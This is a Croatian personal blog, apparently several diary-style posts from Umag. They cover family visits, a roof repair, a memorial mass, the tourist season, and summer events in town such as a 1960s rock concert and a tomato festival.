Iskoristila sam šogorov laptop da vam se javim. Nadam se skorom rješavanju problema. Ajd, mogu ja i dalje raditi, instalirala sam si na taj kućni kompić sve potrebite programe, al je PC spor i nemam ni neophodnu pričuvu.

Et. Imam goste, ukoliko niste shvatili. U četvrtak su mi došle Potočnice, a i tetka s njima. A u subotu, po najvećoj gužvi ove sezone, i sestra i šogor. Putovali su iz Zagreba do Umaga, prek Slovenije, osam i pol sati...

Pozdrav svima, blogerima i chaterima. Do čitanja!

Sinoć je padala kiša. Taman kad se trebao održati treći dio zbivanja Dani antičke Sepomaje. Šteta. A bilo je i dobro organizirano, i pobudilo priličan interes.

Jutros sam popila DVIJE blogerske kave s Ledenom, ahaaa. Nije nam bilo dosta popiti prvu jutarnju u Tondu, nego smo nastavile pričati u mojoj radnji kad je došlo vrijeme za moju šljaku. Onda se nakon nekog vremena i ostatak blogerske familije došetao do moje ulice i nagovoriše me (mene teško nagovoriti...) da opet zasjednemo u omiljenom mi kafiću. Naravno, na povratku s tih – recimo, kao – desetak minuta izostanka s radnog mjesta, sretoh par ljudi koji su me baš u tom razdoblju nešto trebali i poljubili vrata. Tako to najčešće i biva, po Murphyju, jel...

U svakom slučaju, krasan početak radnog tjedna. Ugodan i opušten susret s dragim ljudima, poznanicima, kao da smo i jučer i prekjučer sjedili i ljudovali.

A jutro je počelo strahom. Od visine i pada. Mog muža. Kako nam već mjesecima dva zida u dnevnoj sobi bivaju zalijevana slapovima Niagare pri svakoj obilnijoj kiši, odlučio najbolji muž na svijetu zakrpati rupu. Nastalu od susjedove antene priključene na dimnjak. Susjed je pokušao zakrpati, nešto je napravio ali ne najbolje. S vremenom je rupa napredovala u širinu i dubinu. Majstorima je takav posao ispod časti, nismo uspjeli nagovoriti niti jednog da nam to napravi. I eto prilike. Djece neima, rana zora – još nije prevruće, "ajmo ženo rano ustat, ja ću zamiješat smjesu a ti ćeš biti moj šegrt Hlapić..." Sinoć sam jedva zaspala. Osim još nekih tjeskobnih misli (prokleta nemoć kad slušaš i gledaš vijesti o požarima i znaš da tamo, okruženi vatrom, žive ljudi koji su ti putem bloga postali tako bliski... a ti ne možeš pomoći), mučilo me kako će to moj dragi napraviti. Treba se popet kroz krovni prozor, s čekićem, kantom punom smjese i špahtlom prošetati sedam-osam metara po krovu (na visini od isto toliko nezanemarivih metara), obgrlit dimnjak, visit glavom nadolje i krpat rupu na fasadi nekih pol metra ispod dimnjaka... Ajd, uspio je. Ja sam dolje, u potkrovlju, glumila ljudski magnet, uvjerena da ću svojom brigom i strahom i pogledom uprtim u strop, tamo gdje sam čula korake po krovu, održavati vlastitog si muža da se ne strmekne niz padinu... Dragog sam ostavila da nastavi s gletanjem i krečenjem ona dva uništena zida, u nadi da će uspjeti pogoditi nijansu boje koju je lani upotrijebio pri krečenju cijele dnevne sobe. Ma, ak i ne uspije, nije greda. Samo nek je čisto.

Jučer i danas smo rješavali malu dječju talačku krizu. Djeca su, kao što rekoh, u Sisku. Odvezli ih sestra i šogor kod muževih staraca, ranom nedjeljnom zorom. Osim što su onda cijeli dan bile izmorene i ne osobito raspoložene, dida je ih popodne odveo na gradsko kupalište gdje se održavao kulturno-zabavni program povodom blagdana. Njima potpuno nezanimljiv. Ter su cure vijećale i izvijećale. Da bi one doma. Sutra bi se preselile kod moje mame, a tajo bi ih pokupio u četvrtak i vratio kući. Dosta djeci rodbine, posjeta, razgledanja i ostalog što ide uz takve boravke. Ter smo tajo i ja sinoć i danas koordinirali bake, didu, tetku, sebe, djecu i uspjeli izorganizirati povratak Potočnica. Meni moje curke dolaze i prije nego sam se nadala!!! Ihaaa!

Na vratima moje radnje, i ove godine:






Za nezaboravak. Za sve one znane i neznane. Usprkos svima onima koji gube sjećanja ili izvrću povijest!

Danas su moja mama, sestra, teta i šogor bili u Kostajnici, na misi zadušnici. Za mog taju, moje tete, baku i đedu. Ali bijaše ujedno i misa zadušnica za sve one koji su pali u Kostajnici. Kažu da je bilo svečano i dirljivo. I crkva bijaše prepuna.

Potočnice su preselile u Sisak. Sad su kod muževih staraca. Nedostaju mi... Na svu sreću da postoje mobiteli. Pa ne moram zvati svekra i svekrvu i razmišljati hoće li mi spustiti slušalicu ili ne. Nazovem svoje pišulje ili one mene, pa razmijenimo riječi i puse. Još tjedan dana pa smo svi na okupu.

Turista u gradu manje nego lani. Talijana pogotovo. Kažu da je Španjolska jeftinija. Pa se odlučili za hola-hola ljetovanje. Oni su, pored domaćih, turisti najšire ruke. Hedonisti. Jesu i glasni, njih troje naprave gužvu i graju ko deset drugih turista, jest da se vole i cjenkati, ali ako si prema njima ljubazan i korektan - bez problema će platiti i doći ponovo. I sad izabraše neka nova odredišta... Tako da je ovo sad već zalazak sezone. Prva prava kiša, zahladnjenje i gotovo je. Iako se sprema još hrpa događanja.

Večeras na Trgu opet nastupaju mažoretkinje, povodom Dana pobjede. Od ponedjeljka do srijede se održavaju Dani antičke Sepomaje, projekt koji na ulice Umaga vraća prošlost našega grada. (Sepomaja bijaše rimsko naselje koje se protezalo od rta Katoro do rta Sipar.) Na Veliku Gospu je opet fešta, glazbeno-plesni show. U petak nakon toga - Fešta istriana (nastupa Lidija Percan). 18. kolovoza je na trgu koncert Danijele Martinović, a dan nakon toga revija mladih istarskih modnih dizajnera i stilista. 26.kolovoza opet glazbeno-plesni show...

Dugo se nisam tako dobro provela kao sinoć. Na Trgu je održan koncert na kojima su prašili rockeri 60-ih: Walter Neno Neugebauer & The Cadillac, Boris Babarović, VIS Lutke i Miro Ungar.

Štimung dostojan ogromne pozornice i mnogobrojne rasplesane i raspjevane publike. Nas je bilo sramotno malo. Stid me. A tako se rijetko pruža prilika slušati i gledati glazbenike koji su svoju karijeru započeli davnih šezdesetih, i u svojim biografijama imaju upisane mnogobrojne svjetski poznate rock zvijezde s kojima su dijelili pozornicu (Neno Neugebauer – Roy Orbison, Everly Brothers, Suzy Quatro, Eric Burdon & The Animals... VIS Lutke – Bee Gees, The Hollies, The Animals).

Koncert su otvorili Boris Babarović i The Cadillac. Publika moje i mudrijih generacija pjevala je zajedno s izvođačima. Otkačili smo se na "Mramor, kamen i željezo"... Ne razumijem ljude koji cijeli koncert mogu prostajati bez da se imalo mrdnu, bar da nogom lupkaju ritam... Uostalom, boli me briga. Ja sam plesala, ja sam pjevala, ja sam pljeskala, fućkala... I bilo mi je fenomenalno.




Na plakatima koji su najavljivali sinoćnji koncert nije bilo upisan naziv VIS Lutke, pa je to bilo ugodno iznenađenje. Svaka čast rock-mamama (da ne kažem – bakama). Nisu bile u punom sastavu, jedna im je članica bila spriječena zbog bolesti (Maja Mihaljević), ali su odsvirale žestoko i uigrano.



Kao poseban dio večeri izdvajam i zajedničko udaranje po bubnjevima "tete" Mirjane i bubnjara slovenske grupe Kameleoni (Tulio Furlanič, ako se ne varam).



I, na kraju, negdje iza 23 h, na pozornicu je stupio doajen hrvatske glazbe. I jest da Miro Ungar ima godinaaa, al još uvijek ima i glas i energiju.



Obogatio je sinoćnju večer izvedbama i svojih i stranih hitova, uz svesrdnu podršku izvrsnih Cadillaca.

A da se publika dobro zabavljala, dokaz je i ova sličica.



Još nisam doživjela u ovom gradu da rasplesana grupa (domaćih!) ljudi povuče za sobom još dobar dio publike i stvori prekrasnu atmosferu. Plesali su i mladi i stari, prilazili su stranci, na trenutak me sve podsjetilo na Subotnju noćnu groznicu...

Voljela bih da nam se još koji put dogodi ovako dobar provod...

Sinoć, daklem, bila fešta od rajčice. Skupilo se raje, plesale mažoretkinje, svirala limena glazba





Moglo se papati u humanitarne svrhe




skuhalo se tjestenine




župan istarski stavio fertun pa dijelio porcije




pripremio se i duuugački kolač




svirao Goran Griff and his band



napravili dobar štimung, pjevalo se, pljeskalo, plesalo.

Bio poslije vatromet, dugo trajao. Nismo ga gledali. Sad to više nije fora. Svako malo – vatromet. Umjesto da se lova za te raketline preusmjeri za tijesto i jajca i tartufe, pa da se svaka tri dana napravi fešta, od srpnja do kraja kolovoza... a ne ovako – tek u kolovozu, pa svako malo pada kiša....



Danas pada kiša. Ni vrag da ću ostat bez Mire Ungara...

Sutra nam se događa Tomato day ilitiga Paradajz-dan ilitiga Dan rajčice. Na Trgu. Red mažoretkinja, red papice. Tradicionalna pašta sa šalšom, kak bi ovdje rekli. I svira Goran Griff sa svojim bendom. Super muzika. Nadam se da ga ove godine neće ogradit kao lani, u stilu Blues Brothersa...

U petak još jedna fešta. Pjevaju i sviraju – pazi sad! – Boris Babarović (Crveni koralji!!!!!), Cadillac i MIRO UNGAR!!!! Iha!!! Ak se skupi raja koja voli zimzelene pjesme, bit će ludnica. Al ak dojdu neki mlađahni, bojim se da će biti mlačnjak. Ja u svakom slučaju čujem glazbu s Trga, i čim mi prođe smjena, odoh. Drmat se uz evergreene.